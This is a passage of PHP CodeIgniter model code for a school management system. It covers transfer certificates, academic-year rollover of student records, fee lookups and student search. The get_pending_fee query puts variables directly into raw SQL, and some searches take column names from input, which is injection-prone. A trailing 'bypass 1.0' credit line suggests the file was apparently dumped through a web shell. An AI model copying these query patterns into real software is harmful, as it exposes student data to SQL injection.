         $postdata=$_SESSION['searchdata'];
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $this->db->like($searchfield, $searchtext);
         }
         $count= $this->db->count_all_results();

         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $this->db->like($searchfield, $searchtext);
         }
         $this->db->select('*');
         $this->db->join('student','student.student_id=tc.student_id');
         $this->db->from('tc');
         $this->db->order_by('tc_id','desc');
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         return $data;
     }

     function inserttc($postdata)
     {

         $data=array();
         $this->db->trans_begin();
         
         $tbl1Values=array(
                'tc_no'=>$postdata['tc_no'],
                'date'=>$this->mastermodel->convertdateformat($postdata['date']),
                'student_id'=>$postdata['student_id'],
                'comments'=>$postdata['comments']
                );
          $this->db->insert('tc', $tbl1Values);

          $tbl1Values=array(
                'tc'=>'1',
                );
          $this->db->where('student_id', $postdata['student_id']);
          $this->db->update('student', $tbl1Values);

          $data['resfunction']='searchtc';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }

     function updatetc($postdata)
     {
         $data=array();

         $this->db->trans_begin();
        
         $tbl1Values=array(
                'tc_no'=>$postdata['tc_no'],
                'date'=>$this->mastermodel->convertdateformat($postdata['date']),
                'student_id'=>$postdata['student_id'],
                'comments'=>$postdata['comments']
                );
          $this->db->where('tc_id', $postdata['tc_id']);
          $this->db->update('tc', $tbl1Values);
          $data['resfunction']='searchtc';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }

     


     function searchrollover($postdata,$pagenum)
     {
         $data=array();
         $this->db->from('classlevel');
         $count= $this->db->count_all_results();

         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;

         $this->db->select('*');
         $this->db->from('classlevel');
         $this->db->order_by('sort','asc');
         $data['results']=$this->db->get();
         return $data;
     }

     function insertrollover($postdata)
     {
         $data=array();
         $this->db->trans_begin();
         $i=1;
         while(isset($postdata['presentclasslevel_'.$i]))
         {
            if($postdata['rolloverto_'.$i]!="")
            {
                $student_list=$this->get_students_rollover($postdata['presentclasslevel_'.$i],$postdata['current_ayear']);
                foreach($student_list as $student)
                {
                    $num=$this->checkstudentexistsinayear($student['reg_no'],$postdata['ayear']);
                    if($num==0)
                    {
                        $this->insertstudentrolloverdetails($student['student_id'],$postdata['rolloverto_'.$i],$postdata['ayear']);
                    }
                }
            }
            $i++;
         }
          $data['resfunction']='searchrollover';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['msg']='Records rolled over successfully';
            $data['res']=1;
	    return $data;
	  }
     }

     function get_students_rollover($classlevel_id,$ayear)
     {
        $data = array();
        $this->db->where('tc',0);
        $this->db->where('ayear',$ayear);
        $this->db->where('classlevel_id',$classlevel_id);
        $this->db->join('master','masterid=student_id');
        $Q=$this->db->get('student');
        if ($Q->num_rows() > 0)
        {
             foreach ($Q->result_array() as $row)
             {
                 $data[] = $row;
             }
        }
        $Q->free_result();
        return $data;
     }

     function insertstudentrolloverdetails($student_id,$classlevel_id,$ayear)
     {
         $masterid=$this->mastermodel->insertmasterdata($ayear);
         $student_main=$this->mastermodel->get_data_srow('student',$student_id,'student_id');
         $tbl1Values=array('student_id'=>$masterid,
                'reg_no'=>$student_main->reg_no,
                'first_name'=>$student_main->first_name,
                'last_name'=>$student_main->last_name,
                'gender'=>$student_main->gender,
                'dob'=>$student_main->dob,
                'email'=>$student_main->email,
                'contact_no'=>$student_main->contact_no,
                'mobile_no'=>$student_main->mobile_no,
                'classlevel_id'=>$classlevel_id);
          $this->db->insert('student', $tbl1Values);

          $student_address=$this->mastermodel->get_data_srow('student_address',$student_id,'student_id');
          $tbl2Values=array('student_id'=>$masterid,
                'state'=>$student_address->state,
                'country'=>$student_address->country);
          $this->db->insert('student_address', $tbl2Values);

          $student_otherinfo=$this->mastermodel->get_data_srow('student_otherinfo',$student_id,'student_id');
          $tbl3Values=array('student_id'=>$masterid,
                'community'=>$student_otherinfo->community,
                'ipp_no'=>$student_otherinfo->ipp_no,
                'tc'=>$student_otherinfo->tc,
                'school_previous'=>$student_otherinfo->school_previous,
                'illness'=>$student_otherinfo->illness,
                'allergy'=>$student_otherinfo->allergy,
                'transport'=>$student_otherinfo->transport,
                'computer'=>$student_otherinfo->computer,
                'internet'=>$student_otherinfo->internet,
                'printer'=>$student_otherinfo->printer);
          $this->db->insert('student_otherinfo', $tbl3Values);

          $student_parentinfo=$this->mastermodel->get_data('parent_student',$student_id,'student_id');
          foreach($student_parentinfo as $parentinfo)
          {
                $tbl4Values=array('student_id'=>$masterid,
                'parent_id'=>$parentinfo['parent_id']);
                $this->db->insert('parent_student', $tbl4Values);
          }
    }

    function checkstudentexistsinayear($student_no,$ayear)
    {
        $this->db->where('ayear',$ayear);
        $this->db->where('reg_no',$student_no);
        $this->db->join('master','masterid=student_id');
        $Q=$this->db->get('student');
        return $Q->num_rows();
    }

      function searchupload($postdata,$pagenum)
     {

         $data=array();
         $this->db->join('master','master.masterid=document.recordid');
         $this->db->from('document');

         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $this->db->like($searchfield, $searchtext);
         }
         $this->db->select('*');
         $this->db->join('master','master.masterid=document.recordid');
         $this->db->from('document');
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         return $data;
     }

     function get_pending_fee($student_id)
     {
        $data = array();
        $classlevel_id=$this->mastermodel->getSingleFieldValue('student','classlevel_id','student_id',$student_id);
        $ayear = $this->mastermodel->getsinglefieldvalue('academicyear','ayear','current','1');
        $sql = "SELECT
                `feecollection`.`feecollection_id`
                , `feecreate`.`feeterm_id`, feeterm.feeterm_name, feecreate_classlevel_id
                , feecollection.feecollection_due_date
                , IF(`student`.`student_id`='$student_id' AND feecreate.feecreate_classlevel_id = student.classlevel_id,`student`.`student_id`,-1) AS stud
                , sum(if(`fee`.`feedeleted`=0,1,0))  AS feedeleted
            FROM
                `feecollection`
                LEFT JOIN `fee`
                    ON (`feecollection`.`feecollection_id` = `fee`.`feecollection_id`)
                INNER JOIN `feecreate`
                    ON (`feecollection`.`feecollection_feecreate_id` = `feecreate`.`feecreate_id`)
                INNER JOIN `master`
                    ON (`feecollection`.`feecollection_id` = `master`.`masterid`)
                INNER JOIN `feeterm`
                    ON (`feeterm`.`feeterm_id` = `feecreate`.`feeterm_id`)
                LEFT JOIN `student`
                    ON (`student`.`student_id` = `fee`.`student_id`)
            WHERE `feecreate`.feecreate_classlevel_id = '$classlevel_id' and deleted=0 and ayear='$ayear'
            GROUP BY feecollection.feecollection_id
            HAVING stud = -1 or  feedeleted = 0";
        $Q=$this->db->query($sql);
        
         if ($Q->num_rows() > 0)
         {
             foreach ($Q->result_array() as $row)
             {
                 $data[] = $row;
             }
         }
         $Q->free_result();

         return $data;
     }

     function studentsearch($value,$field,$pagenum)
     {
         $ayear = $this->mastermodel->getsinglefieldvalue('academicyear','ayear','current','1');
         $data=array();
         $this->db->from('student');
         $this->db->join('master','master.masterid=student.student_id');
         $this->db->where('deleted', '0');
         $this->db->where('tc', '0');
         $this->db->where('ayear', $ayear);
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;

         $searchtext=$value;
         $searchfield=$field;
         $this->db->like($searchfield, $searchtext);

         $this->db->select('*');
         $this->db->from('student');
         $this->db->join('classlevel','classlevel.classlevel_id=student.classlevel_id');
         $this->db->join('master','master.masterid=student.student_id');
         $this->db->join('student_address','student_address.student_id=student.student_id');
         $this->db->where('deleted', '0');
         $this->db->where('tc', '0');
         $this->db->where('ayear', $ayear);
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();


         return $data;
     }



     function get_siblings($student_id)
     {
        $data = array();
        $this->db->join('parent_student p','p.parent_id=parent_student.parent_id');
        $this->db->join('student','student.student_id=p.student_id');
        $this->db->where('parent_student.student_id',$student_id);
        $this->db->where('student.student_id !=',$student_id);
        $Q= $this->db->get('parent_student');
        if ($Q->num_rows() > 0)
        {
             foreach ($Q->result_array() as $row)
             {
                 $data[] = $row;
             }
        }
        $Q->free_result();
        return $data;
     }
    
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net